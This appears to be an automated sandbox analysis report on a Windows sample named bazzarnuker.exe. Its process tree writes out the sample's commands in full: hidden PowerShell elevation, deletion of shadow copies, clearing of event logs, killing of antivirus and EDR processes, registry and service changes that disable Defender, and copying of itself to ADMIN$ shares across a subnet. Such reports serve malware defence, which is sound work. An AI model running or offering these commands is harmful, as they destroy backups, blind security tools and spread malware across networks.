Analysis
- user interaction
yes - max time kernel
298s - max time network
298s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
28/06/2026, 00:20
General
- Target bazzarnuker.exe
- Size 196KB
- Sample260628-am41esew2y
- SHA256 58a65375edfbb047e81891c7efdb9b31f99a23fabea03950980b1aef0faecc71
Score
10/10
Malware Config
Signatures
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
- Clears Windows event logs 1 TTPs 3 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Disables service(s) 3 TTPs
- Stops running service(s) 4 TTPs
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 7 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 40 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: LoadsDriver 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 54 IoCs
- Suspicious use of SendNotifyMessage 40 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe"C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exe"taskkill" /f /im javaw.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe' -ArgumentList '--elevated' -WindowStyle Hidden"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe"C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe" --elevated3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exe"taskkill" /f /im javaw.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\vssadmin.exe"vssadmin" delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" shadowcopy delete4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exe"wevtutil" cl Application4⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exe"wevtutil" cl System4⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exe"wevtutil" cl Security4⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /f /im MsMpEng.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /f /im NisSrv.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /f /im cb.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /f /im csfalconservice.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /f /im csagent.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\reg.exe"reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exe"reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exe"reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\sc.exe"sc" stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc" config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc" stop Sense4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc" config Sense start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\system32\ipconfig.exe"ipconfig"4⤵
- Gathers network information
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.1\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.128\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.64\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.96\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.32\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.48\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.191\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.80\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.33\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.192\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.2\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.65\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.129\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.49\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.97\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.81\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.34\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.66\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.193\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.98\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.82\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.130\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.3\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.50\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.83\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.35\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.99\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.131\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.67\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.194\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.4\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.51\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.84\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.36\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.5\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.195\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.132\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.100\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.68\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.52\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.85\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.37\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.101\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.133\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.69\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.6\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.196\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.53\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.86\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.38\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.134\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.197\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.102\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.7\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.70\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.54\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.87\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.39\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.198\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.135\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.103\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.8\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.71\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.55\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.88\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.40\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.199\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.136\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.9\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.56\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.72\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.104\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.89\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.41\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.200\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.10\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.57\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.73\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.137\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.105\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.90\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.42\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.201\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.11\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.74\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.106\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.58\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.138\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.91\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.43\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.202\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.12\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.59\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.139\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.75\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.107\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.92\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.44\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.203\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.13\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.60\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.140\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.76\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.108\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.93\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.45\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.204\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.14\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.61\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.109\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.141\ADMIN$\b.exe4⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.77\ADMIN$\b.exe4⤵
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Active Setup
1Create or Modify System Process
4Windows Service
4Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Create or Modify System Process
4Windows Service
4Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify Tools
2Indicator Removal
3Clear Windows Event Logs
1File Deletion
2Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
IF_YOU_SEE_THIS_OPEN_ME.MD
LOGS.TXT
prep_Activatable Class_Hermes_perf.cache
logs.txt
memory/2580-8-0x00007FF76CF20000-0x00007FF76CFA9000-memory.dmp
memory/2580-0-0x00007FF76CF20000-0x00007FF76CFA9000-memory.dmp
memory/3700-14-0x00007FFD20C90000-0x00007FFD21634000-memory.dmp
memory/3700-13-0x00000220EFC00000-0x00000220EFC22000-memory.dmp
memory/3700-17-0x00007FFD20C90000-0x00007FFD21634000-memory.dmp
memory/3700-18-0x00007FFD20C90000-0x00007FFD21634000-memory.dmp
memory/3700-19-0x00007FFD20C90000-0x00007FFD21634000-memory.dmp
memory/3700-20-0x00007FFD20C90000-0x00007FFD21634000-memory.dmp
memory/3700-22-0x00007FFD20C90000-0x00007FFD21634000-memory.dmp
memory/3700-15-0x00007FFD20C90000-0x00007FFD21634000-memory.dmp
memory/3700-9-0x00007FFD20E1F000-0x00007FFD20E20000-memory.dmp
memory/3700-16-0x00007FFD20C90000-0x00007FFD21634000-memory.dmp
memory/3700-10-0x00007FFD20C90000-0x00007FFD21634000-memory.dmp
memory/3972-64-0x000001AC801E0000-0x000001AC802E0000-memory.dmp
memory/3972-71-0x000001AC83930000-0x000001AC83950000-memory.dmp
memory/3972-110-0x000001AC956D0000-0x000001AC956F0000-memory.dmp
memory/3972-73-0x000001AC83D50000-0x000001AC83E50000-memory.dmp
memory/3972-90-0x000001AC83B90000-0x000001AC83BB0000-memory.dmp
memory/5464-38-0x00007FF76CF20000-0x00007FF76CFA9000-memory.dmp